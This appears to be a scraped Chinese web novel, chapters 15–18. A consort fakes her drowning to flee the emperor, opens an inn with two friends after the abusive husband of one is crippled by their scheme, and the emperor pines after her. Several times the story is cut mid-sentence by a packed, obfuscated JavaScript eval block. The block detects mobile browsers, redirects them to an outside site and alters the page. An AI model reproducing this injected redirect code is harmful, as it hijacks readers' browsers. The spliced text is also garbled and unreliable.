石虔来畅春园，并未把后宫搬空，只带了位份较高，以及平日处得不错的嫔妃，加上他们各自的侍卫和宫女，总共不到二十艘船。 他理所当然被安排与邓贵妃同舟，趁邓贵妃正忙着把玩一朵寒兰，他眼神瞟向宁絮，有点幽怨。 宁絮预备登上另一艘船，感受到他的视线，对他笑了笑，慢慢拉扯口型，石虔认出，她是说叫他俩培养感情。 船这么小，窝在一起，感情不好也得好，不然总有一方要被踹下水。 邓贵妃怀着他的太子呢，他是得捧着她一点儿。但要他全程只能跟她作伴，听她翻来覆去讲些甜腻腻的废话，着实有点折磨他。 他气呼呼地指着宁絮，比口型：晚上你等着。 宁絮会意，对他行了个抱拳礼，江湖艺人准备切磋似的。不等他回应，她就猫着身子一溜烟钻进船篷里。 石虔莞尔，料想她心结当是解得差不多了，有些事情可以开始做了。 晚饭是在船上吃的，檀木桌上摆的都是清粥小菜，中午塞了一肚子大鱼大肉，现在正好解腻开胃。 入夜，岸边传来噼里啪啦的声音，随后夜空中绽起五颜六色的花火。石虔的船上也安放了炮竹，他若是起兴，可以自行操作，早年他对这些事情熟得很，完全不必担心炸着旁人。 上元节宫里也放了烟火，可惜他那天心事重重，没怎么留意。宁絮如此安排，想来是为了补偿他。 到底还是怕挨得太近了，惊着邓贵妃，她身娇体弱，肚里孩子出点什么事就难办。 于是命人传话，喊宁絮帮忙放一个。 泛舟湖上，每艘船都离得有些距离，石虔的侍卫喊了好几声，宁絮才有回应。 她声音很雀跃：“这就来！” 石虔远远的看着她点信子，思绪飘回十年前。 他们认识之后的第一个除夕夜，宁絮忙里偷闲，抽了一个时辰的空当下楼来见他。他和项志拿着班子里剩下的炮竹，要放给她看。 放了两个，她心血来潮，想亲自上阵，丝毫不怕一个失手炸花了脸。他倒是比她还紧张，提心吊胆盯着她一举一动，免得出岔子。 耳边猝不及防传来尖叫，是邓贵妃发出的，凄厉得令人心颤。石虔回过神，连呼吸都凝滞了。 宁絮所在的那艘船，船头已然起火，她被火焰包围，徒劳挣扎了两下，慌不择路，自顾自朝水里跳。 船上余下的人手忙脚乱，扑灭了余火，有两个通水性的跟着跳进湖里寻人，奈何湖水太深，本身能见度就不高，夜晚更是漆黑一片，捞了一圈，连根头发丝也没捞上来。 石虔目眦欲裂，撸起袖子，竟准备自己下水去找，好险被侍卫一左一右拦住，说已经有更多的船预备过来救人了，陛下少安毋躁。 “这么久了连个头都没冒出来，她怎么喘气？等人来了她还有命吗？”石虔气急，大耳刮子就这么招呼过去了，而后大喝一声，“会水的统统给我下去找！” 他自己脱了外袍率先跳下去，其他人不敢怠慢，也跟着潜入水下查看情况。未几，又来了若干船只前来打捞，火把将湖面照得亮堂堂的。 及至子夜，他们依然一无所获。所有人都明白，宁絮凶多吉少了。谁能在水下憋气憋这么久？ 她八成是被烟呛着了，跌落到湖里又喝了几口水，凉水入肺，那滋味不好受，是个人就忍不住吸气，然后吸入更多的水，如此折腾几下，很快便一命呜呼。 这处湖水极深，沉底了，寻常网兜是捞不上来的。还不知道湖底是否连通了地下暗河，或者有没有什么稀奇古怪的洞穴，若是有的话，遗体都很难再找回来。 稍有些经验的人，心中都这般推测。然而他们看着石虔灰败的脸，谁也不敢把这些话说出口。 初春水冷，泡了半天，都冻得瑟瑟发抖。有个胆子大的，委婉劝谏石虔：“陛下，龙体金贵，您今夜又受了冻，且先回去歇下吧，我们再搜搜。” 邓贵妃也跟着又哭又劝，叫他不为自己也为儿子想一想，别作践身子。 石虔不答话，嘴巴抿成一条线，死死盯着漆黑的湖面。末了他忽然起身，朝湖边走去：“朕要再去找一次。” 侍卫大惊，伸手要拦，却也不敢拦得太粗鲁，胳膊虚虚地搭在他身前。 他走了没几步，身子晃了晃，径直朝地面栽去。 众人大呼小叫，忙作一团，有人回去传医官，剩下的人七手八脚将他搀起来架上小轿。 他浑浑噩噩烧了三日，水米未进。 想带他回宫，他还不依，一有人试图搬动他，他便挥拳乱揍一气，叫人轻易近不得身。 偶有清醒的时刻，也是在问宁絮找回来了没有。 旁人只好硬着头皮安抚他，说还在找，娘娘吉人自有天相，绝不会有事的。 宁絮的确没事，这会儿正坐在一个小摊边上，优哉游哉啃鸡腿。 她把头发剪了卖掉，换了好些银两，以作一路的开销。顶着个光头戴帽子，也方便她扮作男子，脸上再涂了几道，伪造成刀疤，打眼一看就是个凶巴巴的小痞子。 落水前身上的那些首饰，她一样也没要，全扒拉下来丢水里了。皇家的东西值钱归值钱，但真要拿去换钱，当铺未必敢收，怕她是从哪里偷来的。 她现在又没有正当身份，行走江湖，低调为上。今天吃了这只鸡腿，权当逃出生天庆祝一番，明天开始就要省着点花了。 从畅春园的后山翻出来，她在京城摸索了几转，找到一条较少有人巡视的小道，摸黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326044|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了城。 百花楼位于去江都的必经之路，她要去找秋霞，最好的办法就是跟上一支前往江都的车队。车队人马众多，一路走官道住官驿，在里头打打杂，既饿不着，也能确保不受歹人袭击。 她擦了脸上的黑印子，装得纯良老实。然而这回不走运，去江都的队不多，而且都不要人。 万般无奈之下，她只得另寻出路，抄小道走野路，一边问人一边防人。晚上找客栈住下，也不敢睡死，时刻竖起一只耳朵聆听周遭动静。 有一晚，天花板的瓦片叫人给揭开了。她睡在最里头，不敢作声，眼睛半睁着，透过长而密的睫毛，看着一伙贼人料理了同屋的另一人，拿着他的包袱扬长而去，不知是劫财还是寻仇，亦或一举多得。 也不是没想过夜间赶路白天休憩，但自从走林子，碰到恶虎食人，爬上树才躲过一劫，她就打消了这个念头。 终于赶到江都，见到秋霞时，秋霞险些没认出她。穿了一身的破洞衣服，全身上下灰扑扑的，整个人干瘦干瘦，跟上回那个养尊处优的贵妇人判若两人。 她是摸进后院等秋霞来的，现在这样的打扮，走前门，店小二一定不准她进。 秋霞摸出两个铜板，向掌柜告假半个时辰，见掌柜臭着脸，又主动提出放弃今天的酬劳，才获准离开。 她立刻带宁絮去百花楼附近的一家客栈，这是家正经的客栈，而非宁絮一路上住的那些黑店，条件算不上多么好，至少可保性命无虞。 “你想过怎样弄身份么？虽然现在官府不常查这些，但是当流民，很多事情都做不了。”不知房间隔音到什么地步，秋霞贴在她耳边问她。 宁絮狼吞虎咽地啃着馍馍，喊秋霞帮忙找店小二烧点热水，再拿条干净的帕子来。 等泡进浴桶里，她舒服得哼哼几声，才顾得上回答秋霞：“再说吧，也得有合适的机会才行。这段时间还要靠你了。” “好。你传给我的那些东西，我好好收着呢，明天带给你。” 宁絮笑道：“干嘛啊，我又不是喊你代为保管，这些东西给了你就是你的了。你也是实心眼，万一我没能逃出来，或者死在路上了，你就准备揣着这么多首饰，继续在百花楼熬日子么？” 秋霞又塞了一个馍馍到她嘴里：“胡说八道什么，再说这些不着调的，我马上把你那些首饰全部卷走，你报官都不管用。” 宁絮伸手接住掉下来的碎屑，再把碎屑一并塞进嘴里。她真的饿狠了，卖头发换来的钱用来打点黑店老板，用来讨好拦路的，到最后分币不剩，她自己还做工又挣了一些，才凑够最后一段路的路费，每天就没吃饱过。 她头发长出了一些，由于疏于打理，跟被狗啃了似的。秋霞捋了捋，到处都在打结。 “发肤受之父母，你就这样糟蹋掉了。”她很心疼。 “那没办法，我这是逃跑，不付出点代价，可能吗？” 她抓起一绺碎发，对秋霞笑弯了眼睛：“今天是我最开心的一天，我爹娘知道了，也会开心的。” 16. 旧友 秋霞回到百花楼，等最后一桌客人离开，酒楼打烊了，门一关她就找到掌柜，感谢他这些年的关照。 听说她要辞工，掌柜一脸的横肉都挤在一起，问她接下来准备去哪。总不能是换家酒楼接着做工糊口，那还不如一直在这里做下去。 “有更好的去处了？还是勾搭上男人了？”他瞥了她脸上的伤疤一眼，嗤笑，“不对，你这模样应该也没男人瞧得上。” 秋霞早就习惯他这张臭嘴，也不恼，心平气和地解释说自己和一位亲戚相认了，之后就跟着这位亲戚过生活。 掌柜倒也不为难她，她走了，想再找一个干她活的人，不出三日就能找到。 他把上锁的柜子打开，找出一个荷包塞到她手里。秋霞接过来，感觉这荷包沉甸甸的。 “就当给你的路费，咱们从此了断了。”掌柜不耐地挥挥手，“快滚吧，走了就别想回来了，我这儿不收第二次上门的。” 秋霞谢过他，祝他生意兴隆，而后替他带上门，去客栈找宁絮了。 她们在不同的客栈之间辗转，并不会在某个地方停留太久。首饰也是陆续变卖，没有一下子全部换成钱。这样既不会被人盯上，又能多走访一些地方，看哪里呆着更舒服。 宁絮惯常戴帽子，穿长衫或者白布袍子，作男子打扮，平日与秋霞手挽着手，外人见了只当她们是一对寻常夫妻。 偶尔有几个没眼力见的，见她长得清秀，秋霞脸上一大块疤，还会凑上来问，兄弟怎么走了眼，找了这种货色。 宁絮就把秋霞一搂，板着脸压着嗓门，说自己与夫人恩爱得很，叫他们少讲坏话。 她能将男子低沉粗犷的声线模仿个七八分，乍一听挺能唬人，只要不连续说话就不会露馅。旁人听她这样说了，也就不再自讨没趣。 临近冬至，她们在鹤城歇脚。其他的客栈不巧都满了，她们沿街搜寻一番，找了一家门庭冷落的，一进去就看到有个男人趴在柜台边睡觉。 宁絮喊了几声，又敲了台面，才把他弄醒。有客人来，他也提不起精神，眼睛底下吊着两圈乌黑乌黑的痕迹，不知道是熬夜熬的还是叫人揍的。 他将她们带到二楼靠拐角的一个房间，门还没关上，她俩就听见一楼有人在嚷嚷：“郑老四滚出来！还钱！” 男人晾着她们，屁滚尿流去了一楼，对着他们又是鞠躬又是作揖，好声好气地求饶，说几位爷再宽限几日，一定还一定还。 “放屁，宽限你个把月了，你还的钱都在哪儿呢？”为首的胖子一脚把他踹翻在地，“没钱就把你这间客栈抵了，看你这冷冷清清的也赚不着几个钱，不兴占着茅坑不拉屎！” 宁絮把门开了一条小缝，支着耳朵，将来龙去脉听了个大概。 这伙人应当是附近赌坊派来的，男人输了钱，迟迟不还，庄家上门要债了。 看架势，这间赌坊不算家大业大，根基也不深，这帮人骂归骂，不太敢动手，有点虚张声势。 男人求了又求，吃了几个大嘴巴，终于又磨到了三日的余地。送走了要债的，他朝地上啐了一口，就此闭店，不再接待新客。 宁絮看得咋舌，与秋霞念叨：“他这样子，能挣到钱才有鬼了。” “这不能多呆，谁知道哪天他真把客栈卖了……” 她们将床铺好了，打算在附近逛逛，看还有哪里可以住。刚去一楼开了门，就跟一个胖妇人撞作一处，妇人胳膊上挎着一只小篮子，里面装着个黑色罐子，经此一撞，摇摇欲坠。 宁絮眼疾手快，将罐子稳稳接住交还给妇人。 她红着眼睛对宁絮道谢，而后快步走到男人面前，将罐子重重拍在台面上：“狼心狗肺的东西，连你儿子的骨灰你都能刨出来押给他们？！” 郑老四大抵是从来没被她这样吼过，愣了一下，随即一耳光就甩了过去：“臭婆娘，你算个什么东西，也敢来教训老子？” 打了这一下还不解气，他又抄起凳子，直接就要往她头上砸。宁絮一看，这是要出人命的架势，赶紧捏着他胳膊：“有话好说，你打死了人，店也成凶宅了，我们怕闹鬼，可要换地方。” 秋霞扶起妇人，帮腔道：“是啊，出了命案谁还住得下去，你要退房钱的。” 郑老四脸皮子抽了几下，悻悻地放下凳子，嘴里不干不净骂了几句，回到柜台后面。宁絮这才腾出空打量妇人，不看不打紧，越看越觉得面熟。 秋霞率先反应过来，去搂妇人的胳膊：“你们这儿晚上也煮饭吧？我们懒得去酒楼，劳烦你做了送上来了，有些菜我相公不吃的，我们去挑挑。” 边说边给宁絮使眼色，喊她跟着出去。 到了街上，秋霞搂她搂得更紧，生怕她跑了：“小梅，你们一家怎么搬来这里？当年搬走之前也不给我来一封信，我都不知道上哪找你。” 妇人垂头不语，宁絮绕到另一边，和秋霞一块儿将她夹在中间，唤她：“诗诗，梅诗诗。” 梅诗诗提着菜篮子，几乎把篮子把攥出水，最后还是向她俩投降了：“你们怎么变成这样子？” 秋霞脸上的烧伤痕迹一直去不掉，冷不丁见了着实骇人，不过倒也因祸得福，只要露脸，就没有男人上前来轻薄。 宁絮一路劳苦，又黑又瘦，到现在也没养回来，头发也修得又短又参差不齐，素面朝天不施粉黛，再俊俏也掩盖不住穷酸气。 不等她们说话，梅诗诗自嘲地笑一笑：“我好像没资格问你们，我更不堪入目。” “那不是的，你比我强，只是发福了，想瘦还能瘦回去。”秋霞宽慰道。 “不过得先离开你家那个狗东西。”宁絮踹飞一颗小石子，“我们没来的时候，他应该没少对你动手吧，我看他打得挺熟练。” 她本想质问，当年练的那些拳脚功夫，都练到哪里去了。难道就任由他打吗？ 就算官府裁决不公，妻子还击属于以下犯上，当施以重罚，私底下偷摸坑回去总不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326045|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难。郑老四杂碎一个，想收拾他，多的是办法。 但她没问出口，梅诗诗神色黯然，说他并不是一开始就这般混账。 郑家当年是有几个钱的，大哥二哥都心高气傲，绝不愿意接手梅诗诗。但是朝廷派下来的任务不能不做，塞过来的人不要也得要，郑老四那会儿还没有心上人，也没表现出什么过人之处，于是便由他充当冤大头。 他同样瞧不上梅诗诗，不过平时不会对她怎样，吃的喝的一样不少，偶尔出去寻花问柳。 后来郑老爷子病逝，几兄弟分家，他分到了鹤城的一间客栈。这是郑家的产业，但并非最主要的，两个哥哥有心要将他赶出原来的地盘，给三瓜两枣打发了事。 他先后跟哥哥吵了几次，全没用，该走还得走。从那时起他脾气急转直下，有气只管朝着梅诗诗撒，不巧她有孕在身，只要他做得别太过分，她也就忍了。 跟他一道搬来鹤城，他当他的甩手掌柜，客栈该怎么经营，他是懒得管的，但钱是要收的。儿子生下来，又多一张嘴，他不顶事，只能她来干活，从购货到雇人全部亲力亲为，睡觉都睡不够。 客栈地段不赖，住店的客人其实不少，坚持下去，日子颇有盼头。可自从郑老四跟赌坊的人厮混，行情就每况愈下。 时不时有不三不四的人找上门，不是约他去掷骰子，就是催他还钱，客栈被搞得乌烟瘴气，客人怕被波及，但凡有得选就不住这儿。久而久之，名声臭了，再也招徕不到什么客人。 家里的钱，以及值钱的东西，陆陆续续被掏空了，为了平他的债。儿子得了病，请不起医馆的好大夫，找了个走方郎中，用的药效果不大，拖了个把月，还是没救回来。 宁絮听罢，五官近乎扭曲，压着怒火问她：“你还愿意跟他一起过下去吗？” 梅诗诗摇头：“有得选的话，谁乐意跟他过日子？马上客栈都要保不住了，还不知道去哪落脚呢。” 宁絮脑中已经形成了一个点子，至于能不能做成事，还要看她配不配合。 她语气放柔，试探道：“一夜夫妻百夜恩，诗诗，你当真割舍得下他？” 诗诗和她俩不同，她俩毕竟没有生育过孩子，少一层牵绊，很多事情做起来，心里没有负担。 她们共事数年，梅诗诗一听她这样说，就知道她是有主意了。 “我孩子要是还活着，我窝囊就窝囊了，可是他不在了，我忍又有什么意义。”她拉住宁絮的手，“你有什么想法，大可说与我听，我从来没有把任何秘密抖落出去过。” 宁絮由她拉着，问了一个风马牛不相及的问题：“客栈里还有多余的蜡烛么？或者现成的蜡？” 宫里随处可见的东西，在外面都是稀罕物件，蜡烛不便宜，家家户户普遍还是用灯油。 “有是有，但我印象里不多，好像就几根。”梅诗诗回答道。 “那咱们现在再去买些，我出钱。”宁絮对她眨眨眼，一派狡黠之色。 17. 偷梁换柱 她们在郑老四的客栈住了七日，期间几乎没有新客上门。第七日本该结清房费走人，一大早外面传来巨响，随后就听到撕心裂肺的嚎叫声。 宁絮和秋霞推门出去，只见郑老四不偏不倚挂在一楼晾腊肉的柱子上。 屋里没有长度合适的竿子，前两日梅诗诗腌好了肉，在宁絮的帮助下，把一根实心柱子打横过来，悬空摆放，好挂腊肉。 这会儿腊肉都被拍到地上了，郑老四后腰砸在柱子上，整个人向后蜷曲，明显摔得不轻，嚎了几声就两眼一翻，没动静了。 梅诗诗从一楼后厨跑出来，哎唷几声，六神无主。宁絮越过栏杆，自二楼翻身而下，落在郑老四身边，支使梅诗诗，叫她和自己分别抬胳膊和腿，把人抬去床上安顿。 郑老四短暂地醒来一次，发现自己腰以下都没了知觉，慌得眼泪鼻涕糊一脸。梅诗诗叫了郎中来看，都说治不好，忍痛花钱请了医馆的医师，人家把了脉，又往几个穴位扎针，末了遗憾地摆摆手。 “你家男人怕是成了瘫子，以后都难站起来了。” 听到风声，赌坊的人乐得拍大腿，对梅诗诗更加步步紧逼。 郑老四废了，她一介女流，在他们的攻势之下，势必守不住客栈。到时候乖乖把房契过给他们，他们也好利用这个地段做些别的生意，招更多的人入局。 却不想半途杀出两个亲戚，说是她娘家人，她已经将客栈转手给他们两口子了。 这两口子他们照过面，男的个儿不算太高，很瘦，看着文弱清秀，女的脸上一大块疤，轮廓是好看的，全毁在这块疤上。 怎么看也不像是在当地有背景的，他们又来闹事，意图迫使他们再转手。但这回运气没那么好，正赶上官差巡视，被一锅端了。 客栈换了新的门头，起名归园，内部做了简单的装饰。过了数月，虽然还到不了门庭若市的地步，住店的客人总归是实打实多了起来。 梅诗诗合上账簿，心满意足，晚上要亲自下厨，宴请二位掌柜。秋霞听罢摆手：“你才是掌柜。” “快别推脱，店毕竟是过到了你的手上。”诗诗轻推她一把，又对宁絮挤眉弄眼，“大当家的，今晚喝酒不？” “喝，不过来点清酒就得了，白酒味道太冲，受不了。”宁絮笑道，“我去切两条腊肉下来。” 过了子夜，客人都睡下了，客栈大门上了门闩，她们在后厨摆了矮桌和小凳子，小酌几杯。 “小宁，你是真豁得出去。”梅诗诗与她碰碗，碗沿特意放得比她的低，有意要敬她。 关起门来都是自家人，宁絮帽子也不戴了，露出一头乱七八糟的黑发。她头发不老实，天然带点蓬松，配上两道浓眉和一双水润的眼睛，很有点落拓的异族公子的味道。 “这有什么的，反正这些首饰也不是我做工挣来的，当了换钱，轮不到我肉痛。” 郑老四这边一瘫，她那边立马喊秋霞去当铺，把大部分南珠和赤玉当掉，只保留一颗最值钱的。 待秋霞从诗诗手上拿到房契，她俩便以夫妻的身份，拿着这笔钱去打点官府。一来拜码头，以后遇事行个方便，二来给赌坊一个下马威，叫他们死心。 光华最盛的那颗南珠，则是作为礼物，送给一位户部小吏，好让他在黄册上添加宁絮的新名字。有了身份户籍，才算行得正坐得端。 办完这些事，剩下的钱就不多了，宁絮全用来布置门脸，全副身家都投进了客栈里，硬是一点退路都没给自己留。 梅诗诗看得心惊肉跳，劝她留一些傍身之财，还被她反过来笑话了，说客栈现在都握在自己手上，这叫自负盈亏，愿赌服输。 好在客栈经营得不错，没亏本，下个月开始就有的赚了。 “要说豁得出去，你跟我俩也没差。几年不见了，我们也没抵押什么东西给你，你就能把客栈转过来，说出去人家都不信。” 秋霞连着喝了三碗清酒，脸颊飞起红晕，听了宁絮的话，眼神愈加兴奋，指了指天花板：“还有阁楼上躺着的那个哩！” 梅诗诗笑得前仰后合：“没辙呀，我穷惯了，方圆几里的人都知道。突然拿着这么多首饰去换钱，当铺都不敢收，更不要想去找官府，官府头一个查的就是我。还得是你们这种不知底细的生面孔去才行，尤其小宁，唬得住人。” 三人心有灵犀，同时举碗相碰，敬彼此的把柄和软肋。 喝到二更，她们依然毫无睡意。梅诗诗给宁絮满上一碗，问她：“你跟他，真的就到了一点也过不下去的地步吗？” 宁絮知道她口中的“他”指的是谁。皇上的名字讳莫如深，提起来就不自觉屏住呼吸，能有多迂回就有多迂回。 “过不下去。以前还能忍，后来发生了一些事，我就不愿意再忍了。”她喝不动了，开始嚼花生米。 她能这样洒脱地跑出来，秋霞和梅诗诗就猜到了，她这么多年跟在石虔身边，一直没有孩子。 女人怀孕生产不易，但凡有个一儿半女的，都不舍得一走了之。梅诗诗太懂这是什么滋味，宽慰她：“也好，没孩子就无牵无挂，想去哪去哪。” 秋霞碰了碰她的胳膊：“他对你很坏么？你俩当年也是在我们眼皮底下相处的，我们看他还颇靠得住。” 宁絮托着下巴，有点不知道怎样同她们解释。 换作一个与石虔牵绊没那么深的人，就能安安稳稳呆在后宫终老了。但她不一样，她非走不可。 只要看到石虔那张脸，她就想起她们本该得到却又落空的东西，这种感觉如同千万只蚂蚁附在她的骨头上，一边爬一边啃啮，直到把她整个人蛀空。 有些东西注定拿不回来了，但至少她可以想办法远离罪魁祸首，免得活生生气死了。 人一旦死过一回，就再也受不了委屈，急等着要补偿自己。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326046|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“他是靠得住，但他坐上那个位子，就不一样了。哪天要你死你就得死，连反抗的余地都没有，跟他呆在一起，你们想能过得舒坦么？” 她的筷子挡住秋霞的，精准夹走最后一颗花生米：“而且宫里再大，也就那点地方，第一年新鲜，第二年就倦了，第三年开始恶心。一辈子对着那些人和那几栋房子，我岂不是活得连点点都不如。” 秋霞想起点点给自己送小包裹的样子，它走的时候被养得胖胖的，一路飞过来大概是没少受累，有点干巴。 “你这次出来，没带上它俩，可惜了。” “哪里那么好带。”宁絮困意上涌，打了个呵欠，“放心，宫里有人照料它们。再怎样不至于跟个鸟儿过不去，也不缺这一口鸽子汤，它们肯定活得好好的。” 腿坐麻了，她们互相搀扶着站起来，诗诗将杯盘碗盏拢到一边，赶她俩上去睡觉。 宁絮今晚喝得多了，这会儿眼神涣散，蒙了一层雾似的。梅诗诗以为说中了她的伤心事，临熄灯前抱了她一下。 “不想在那呆就不呆，天下之大，哪儿去不得？我们三个一起过，和和美美的，不受任何人的气。” 灯灭，她随即滑入昏沉黏腻的睡眠。 千里之外，石虔尚未就寝，连带着宫里上上下下所有人强打精神，陪着他熬。 他只穿了单衣，坐在翠微阁的秋千上，对着一只玉镯发愣。 一年多以来，他越来越瘦，两个眼窝深深地凹陷下去，本身眼珠又黑，披头散发往那一钉，能把岁数大的嬷嬷骇翻过去。 皇上犯了癔症，底下人纷纷提心吊胆，守候在侧，却又不敢挨得太近了，生怕惊扰了龙体。 御医换了一轮，针也扎了，药也喝了，就是不见好。请了个巫医来，巫医说那玉镯上附着不干净的东西，石虔听罢就命人将他拖出去斩了。 若非必要，他向来不下重罚，不开杀戒，可谓明君。突然来了这一出，所有人的胆子都吓细了，再不敢打他玉镯的主意。 说起来，这玉镯来之不易。 一年多以前，宁絮落水，踪迹难觅，前前后后打捞了几十道，皆无所获。实在没办法了，他下令将畅春园的湖水抽干，湖底总该留下一点什么。 这是一项大工程，动用了数千人，桶车用坏了几十个。然而事与愿违，遗体恐怕早就被鱼消灭殆尽，骨头八成也让水冲得酥了，碎成若干片，陷进湖底的沟沟壑壑里，外形难辨，更加带不回来。 他们拼尽全力，只在湖底的一块石头上捡到了这只玉镯。还有一根钗子，但兴许是撞到什么地方，被拗断了。 石虔刚拿回玉镯时，脸上看不出异样，一切如常，皇帝该做的事一件不落。 渐渐地，侍寝的嫔妃发现他不对劲。他双目时而游离放空，丢了魂似的，捏着玉镯不撒手，要么就赤着脚往翠微阁跑。她们不敢明说，心里只道陛下是失心疯了。 18. 濒死 宁絮离开后，翠微阁的陈设和格局未有变动。晚云和翠柳也没分配给其他嫔妃，还是呆在这儿，每天扫扫庭院，做做针线，喂喂鸽子。 点点认得石虔，见他迟迟不走，贴在鸽舍围栏边好奇地打望他。 拂晓之时，一位身着凤纹红罗裙的女子进了翠微阁的门，怀里抱着一个熟睡的男孩。 侍从们如同抓住救命稻草，纷纷围上去行礼：“皇后娘娘！” 邓筠深吸一口气，在他面前跪下，半是埋怨半是哀求：“陛下，臣妾求您莫要再糟践自己！您看一看孩子，这是我们的第一个儿子，自打他生下来那天起，您可曾正眼瞧过他一次？” “您但凡把目光匀一点给我们，何至于痛苦至此！不要再把自己困在那片湖上了。” 从前她万不敢在石虔面前这样说话，纵使心中不满，娇嗔一下也就过去了。 可那是因为她还没有足够的筹码。膝下无子，空有贵妃之衔，这位子坐得不稳。她虽不聪明，这些基本的道理却还想得明白。 想牢牢占据现有的地位，甚至带着全家再往上爬一个层次，就要拿出相应的功绩。男人的功绩是疆土、钱财、兵马，女人的功绩则要复杂许多，最直观的就是儿子。 宁絮消失后的那几个月，她肚子慢慢地大了，这一胎捱得很辛苦，吐得愈加厉害。但石虔心思不在她身上，什么法子都使了，不管用，只得自己熬着。 终于熬到孩子落地，是个皇子，如愿以偿，待她身子恢复了，封后大典即刻排上日程。从名分到流程，的确没亏了她。 但除此之外，她再没从他哪里得到过别的东西。他对着她就像对着一尊雕像，连句带着热气儿的话都懒得说。 冷脸看多了，任谁都委屈。她在产床上九死一生，也是为他拼过命的，他这般反应，等于是心里并不承认这份功绩。 她焦躁不安地去抓石虔的手，把玉镯一并攥进自己手里，迫切地想要一个说法：“陛下，您看看皓儿吧，这个名字还是当时您起的，但您再也没叫过他。他现在会说一些话了，臣妾教他喊父王。” 石虔只看到她嘴巴一张一合，拉拉扯扯，无心辨别她说了什么。对她怀中孩子，也提不起兴趣。 他的神思早已四散飘零，如柳絮随风翻飞，想把它们收束回来并不容易，唯有跟着它们跑。 每次它们都把他带到同一个地方。那便是宁絮先前所栖身的冷宫。 邓筠产子不易，又是极为关键的一胎，关乎皇室血脉，不管是以皇帝身份还是丈夫身份，他都要陪伴左右，握着她的手，直至母子平安。 从傍晚捱到天明，终于迎来好消息。他放下心来，回去睡了，等天快要黑了才悠悠醒转，用了晚膳，准备动身去找邓筠，与她温存一番，再抱抱自家的大胖小子。 不巧见着一队内侍往冷宫去了，平时无事，冷宫不需要这么多人手。他问可是那边出了事，为首的总管答得无比自然，说住在那的妃子病故了，他们得去收拾遗体。 宁絮没了位分，于他们而言不比一只猫或一只狗更高贵，提到她死了，他们面上毫无波澜，轻描淡写，甚至不觉得自己应该在陛下面前装得沉痛惋惜。 石虔倍感意外，自从宁絮搬去冷宫，他与她就没了交集，对她的印象还停留在一年前。那会儿她不说多么生龙活虎，好歹是个能吃能喝能走路的大活人。 他一时间没办法把她和病故、遗体等字眼联系起来。 “什么时候的事？怎么也不禀告朕一声？” 内侍忙道：“我们也是才知道。” 石虔临时调转方向，先不去邓筠那里了，要去冷宫一探究竟。 刚进了大门，他就看到一位嬷嬷手握藤条，朝宁絮的两个宫女身上打。她们头上缠着白布，挨了打也要护着，不肯摘。 嬷嬷恨声道：“你们两个小蹄子，存心给人添堵是吧？皇子诞辰，大喜的日子，你们搞披麻戴孝这一出，丧气不丧气？想恶心谁？现在摘了还好说，不然给你们捅出去，就不是吃藤条这么简单了！” 她慷慨激昂地骂人，没留意石虔就站在身后，还是晚云和翠柳先看到他，当机立断跪下。动作太大，弄得白布有点松动，她俩下意识地抬手绑得紧了些。 这落在嬷嬷眼里，简直不知死活，她一边赶紧对石虔行礼，一边拿指甲狠命戳晚云的后背。 石虔抬手遏制她，下巴冲着卧房一扬：“宁妃可在里边？” 宁絮被废之前，位份距离妃位遥不可及，不过石虔喊起人来，有时就是姓氏加个妃字，倒不是为了口头上抬举谁。 嬷嬷自然不认为宁絮在陛下心中有什么分量，她陪着笑脸，连连道歉：“陛下，老奴该死，没看住这两个小的，让她们出去报信了，真散晦气。下葬的事情，老奴一定处理停当，不劳陛下烦心，陛下还是请回吧，莫要脏了眼睛。” 石虔袖子一挥，指着她面门喝道：“什么脏不脏眼睛？这么大的事情，你有几个胆子做主，压着不报？她几时去的？” 嬷嬷吓得声音噎回去，晚云开口道：“禀陛下，娘娘是丑时去的。” 那时邓筠还在使劲，宫中全部御医在侧待命，所有人手都围绕在长乐宫旁。若是在这关键一刻来禀报，的确有被一脚踹出去的可能。 石虔一时语塞。他并非不讲道理之人，很明白他们究竟在顾虑什么。邓筠生产结束，他也累得半死，大抵是听不进任何消息。 怒火发泄在底下人身上，终归没有意义，他跟在晚云身后进屋，要再看宁絮一眼。 宁絮躺在小床上，双目紧闭，脸色灰白，人已经僵硬。好在正值冬日，天寒地冻，她身上并未散发异味，仔细嗅一嗅，还能闻到残留的药味。 他在她床边坐下，感到身上冷飕飕的，一抬眼，发现窗子还裂着缝。 他突然就失控了，拿起床头空了的药碗就对着晚云砸，晚云没有躲，生生受了这一下，鲜血渗透了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 